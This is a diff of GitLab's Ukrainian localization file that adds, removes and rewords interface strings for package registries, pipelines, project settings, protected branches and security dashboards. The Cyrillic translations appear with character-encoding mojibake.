+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr "опубліковано %{author}"
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr "Conan"
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr "Maven"
-
-msgid "PackageType|NuGet"
-msgstr "NuGet"
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Пакети"
@@ -22260,11 +22827,20 @@ msgstr "Виклики Rugged"
msgid "PerformanceBar|SQL queries"
msgstr "Запити SQL"
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "лог"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "Права доÑтупу"
@@ -22344,8 +22920,8 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
-msgstr "CI / CD аналітика"
+msgid "PipelineCharts|CI/CD Analytics"
+msgstr ""
msgid "PipelineCharts|Failed:"
msgstr "Ðевдалі:"
@@ -22593,9 +23169,6 @@ msgstr "Коміт"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr "ПокриттÑ"
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr "ІÑнуюче Ñ–Ð¼â€™Ñ Ð³Ñ–Ð»ÐºÐ¸ або тег"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr "Ключ"
@@ -22689,6 +23265,18 @@ msgstr "Зупинити конвеєр #%{pipelineId}?"
msgid "Pipeline|Tag name"
msgstr "Ім'Ñ Ñ‚ÐµÐ³Ñƒ"
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr "Ðвтор тригера"
@@ -22758,9 +23346,6 @@ msgstr "Будь лаÑка, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð²Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ð¹Ð¼Ñ–Ñ‚ÑŒ ум
msgid "Please add a comment in the text area above"
msgstr "Будь лаÑка, додайте коментар в текÑтовій облаÑÑ‚Ñ– нижче"
-msgid "Please add a list to your board first"
-msgstr "Будь лаÑка, Ñпочатку додайте ÑпиÑок до вашої дошки"
-
msgid "Please check the configuration file for this chart"
msgstr "Будь лаÑка, перевірте конфігураційний файл Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— діаграми"
@@ -22911,12 +23496,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Будь лаÑка, пройдіть reCAPTCHA"
-
msgid "Please try again"
msgstr "Будь лаÑка, Ñпробуйте ще раз"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "Будь лаÑка, введіть %{phrase_code} Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð²Ð¶ÐµÐ½Ð½Ñ Ð°Ð±Ð¾ закрийте це модальне вікно Ð´Ð»Ñ Ð²Ñ–Ð´Ð¼Ñ–Ð½Ð¸."
@@ -22950,6 +23535,18 @@ msgstr "Pod’и у викориÑтанні"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr "Заборонити кориÑтувачам змінювати ім'Ñ Ñвого профілю"
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr "Попередні артефакти"
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr "Пріоритетні мітки"
msgid "Prioritized label"
msgstr "Пріоритетні мітки"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Приватний"
@@ -23394,8 +24003,8 @@ msgstr "Cтворив приватний внеÑок"
msgid "Profiles|Main settings"
msgstr "Головні налаштуваннÑ"
-msgid "Profiles|No file chosen"
-msgstr "Файл не вибрано"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "ÐдреÑа електронної пошти Ð´Ð»Ñ Ñповіщень"
@@ -23784,6 +24393,9 @@ msgstr "Ви доÑÑгли Ñвого ліміту по кількоÑÑ‚Ñ– пр
msgid "ProjectOverview|You must sign in to star a project"
msgstr "Ви повинні увійти, щоб додати проєкт в обрані"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "ID проєкту: %{project_id}"
@@ -23799,50 +24411,83 @@ msgstr "%{service_title}: ÑÑ‚Ð°Ñ‚ÑƒÑ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð¾"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}: ÑÑ‚Ð°Ñ‚ÑƒÑ ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð¾"
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Виконати звичайні операції на проєкті GitLab: %{project_name}"
-msgid "ProjectService|To set up this service:"
-msgstr "Ðалаштувати цей ÑервіÑ:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "Додаткові можливоÑÑ‚Ñ– запиту на злиттÑ, Ñкі впливають на те Ñк Ñ– коли відбуватиметьÑÑ Ð·Ð»Ð¸Ñ‚Ñ‚Ñ"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "Ð’ÑÑ– Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– бути завершені"
@@ -23895,26 +24540,29 @@ msgstr "РеєÑÑ‚Ñ€ контейнерів"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "Вимкнути ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою"
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
-msgstr "Увімкнути за замовчуваннÑм можливіÑÑ‚ÑŒ \"Видалити гілку-джерело\""
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "Кожне Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñтворить окремий коміт"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr "Кожен проєкт може мати влаÑний проÑÑ‚Ñ–Ñ€ Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ñвоїх образів Docker"
@@ -23925,8 +24573,8 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "Ð’ÑÑ–"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
-msgstr "Ðе впливає на Ñ–Ñнуючі запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° захищені гілки"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
+msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
msgstr "Помилка при захиÑÑ‚Ñ– тегу"
@@ -23937,8 +24585,8 @@ msgstr "Помилка при оновленні тегу!"
msgid "ProjectSettings|Fast-forward merge"
msgstr "Fast-forward злиттÑ"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "Лише fast-forward злиттÑ"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr "Форки"
@@ -23949,12 +24597,12 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr ""
-
msgid "ProjectSettings|Internal"
msgstr "Внутрішні"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "Задачі"
@@ -23985,11 +24633,14 @@ msgstr "Параметри злиттÑ"
msgid "ProjectSettings|Merge requests"
msgstr "Запити на злиттÑ"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
-msgstr "Коміти-Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð½Ðµ ÑтворюютьÑÑ"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr "Примітка: Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ñ–Ñ‡Ð½Ð¸Ñ… проєктів реєÑÑ‚Ñ€ контейнерів завжди Ñ” видимим"
@@ -24012,15 +24663,9 @@ msgstr "Pages"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "Конвеєри"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Конвеєри мають бути уÑпішними"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "Ðеобхідно налаштувати конвеєри, що викориÑтовувати цю функцію."
-
msgid "ProjectSettings|Private"
msgstr "Приватний"
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,8 +24705,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "Показувати поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ‡Ð¸ переглÑду запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¸ відправці із командного Ñ€Ñдка"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr ""
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr "Ðеобхідно щоб ці перевірки уÑпішно виконалиÑÑ Ð¿ÐµÑ€ÐµÐ´ тим, Ñк запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð¼Ð¾Ð¶Ðµ бути злитий"
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr "Цей параметр заÑтоÑовуєтьÑÑ Ð½Ð° рівні ÑÐ
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Цей параметр буде заÑтоÑовано до вÑÑ–Ñ… проєктів, Ñкщо адмініÑтратор не змінить його."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "Це буде регулювати Ñ–Ñторію комітів при зливанні запитів на злиттÑ"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,11 +24780,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "Коли з’ÑвлÑÑŽÑ‚ÑŒÑÑ ÐºÐ¾Ð½Ñ„Ð»Ñ–ÐºÑ‚Ð¸, кориÑтувачу даєтьÑÑ Ð¼Ð¾Ð¶Ð»Ð¸Ð²Ñ–ÑÑ‚ÑŒ виконати rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr "Вікі"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "Дозволене злиттÑ"
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñника коду"
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr "Вимагати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ влаÑників ко
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Ðаразі немає захищених гілок, захиÑÑ‚Ñ–Ñ‚ÑŒ гілку за допомогою форми вище."
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "Увімкнути/вимкнути Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñниками коду"
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,8 +25734,8 @@ msgstr "Знизити видиміÑÑ‚ÑŒ проєкту"
msgid "Reduce this project’s visibility?"
msgstr "Знизити видиміÑÑ‚ÑŒ проєкту?"
-msgid "Reference:"
-msgstr "ПоÑиланнÑ:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -25244,7 +25901,7 @@ msgstr "Релізи"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr "Релізи базуютьÑÑ Ð½Ð° тегах Git та відзначають певні точки в Ñ–Ñторії розвитку проєкту. Вони можуть міÑтити інформацію про тип змін а також можуть надати бінарні файли, наприкад, Ñкладені верÑÑ–Ñ— програмного забезпеченнÑ."
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,8 +25913,8 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
-msgstr "Проблема при отриманні деталей релізу"
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
msgid "Release|Something went wrong while saving the release details"
msgstr "Проблема при збереженні деталей релізу"
@@ -25280,6 +25937,9 @@ msgstr "Видалити %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Видалити Zoom-зуÑтріч"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "Видалити уÑÑ–Ñ… або певного(них) виконацÑ(ів)"
@@ -25328,9 +25988,6 @@ msgstr "Видалити зв’Ñзок форку"
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr "Видалити з дошки"
-
msgid "Remove from epic"
msgstr "Видалити із епіка"
@@ -25577,6 +26234,9 @@ msgstr "Повідомити адмініÑтратора про порушенÐ
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Повідомлено %{timeAgo} кориÑтувачем %{reportedBy}"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,8 +26284,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "КлаÑ"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "Ðазва клаÑу"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr "Помилка"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr "Перевірка репозиторію"
msgid "Repository check was triggered."
msgstr "Перевірку репозиторію запущено."
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ"
@@ -25872,6 +26541,9 @@ msgstr "ÐŸÑ€Ð¾Ñ„Ñ–Ð»ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñ–Ð²"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr "Відкликано перÑональний токен доÑтупу
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr "ВерÑÑ–Ñ"
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr "Спільні"
@@ -26365,9 +27043,6 @@ msgstr "Ви викориÑтали %{quotaUsed} із ваших %{quotaLimit} Ñ
msgid "Running"
msgstr "ВиконуєтьÑÑ"
-msgid "Running…"
-msgstr "ВиконуєтьÑÑ…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "Виконує Ñ€Ñд задач по очищенню поточного репозиторію, таких Ñк ÑтиÑÐ½ÐµÐ½Ð½Ñ Ñ€ÐµÐ´Ð°ÐºÑ†Ñ–Ð¹ файлів та Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð½ÐµÐ´Ð¾ÑÑжних об'єктів."
@@ -26464,6 +27139,9 @@ msgstr "Зберегти зміни перед теÑтуваннÑм"
msgid "Save comment"
msgstr "Зберегти коментар"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "Зберегти пароль"
@@ -26482,6 +27160,9 @@ msgstr "ЗбереженнÑ"
msgid "Saving project."
msgstr "Ð—Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ."
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr "Розклади"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr "ПлануваннÑ"
-
msgid "Scheduling Pipelines"
msgstr "ÐŸÐ»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²"
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr "Пошук Ñпецифікації Ñередовища"
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr "Пошук авторів"
@@ -26611,6 +27292,9 @@ msgstr "Шукати цей текÑÑ‚"
msgid "Search forks"
msgstr "Пошук форків"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr "Пошук у запитах на злиттÑ"
msgid "Search milestones"
msgstr "Пошук етапів"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Шукати чи фільтрувати результати..."
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Додати проєкти"
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr "Коментар видалино в \"%{vulnerabilityName}\""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr "Коментар відредаговано в \"%{vulnerabilityName}\""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,7 +27711,22 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
msgid "SecurityReports|Monitored projects"
@@ -27021,9 +27735,6 @@ msgstr ""
msgid "SecurityReports|More info"
msgstr "Детальніше"
-msgid "SecurityReports|More information"
-msgstr "Детальніше"
-
msgid "SecurityReports|No activity"
msgstr ""
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr "СтатуÑ"
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
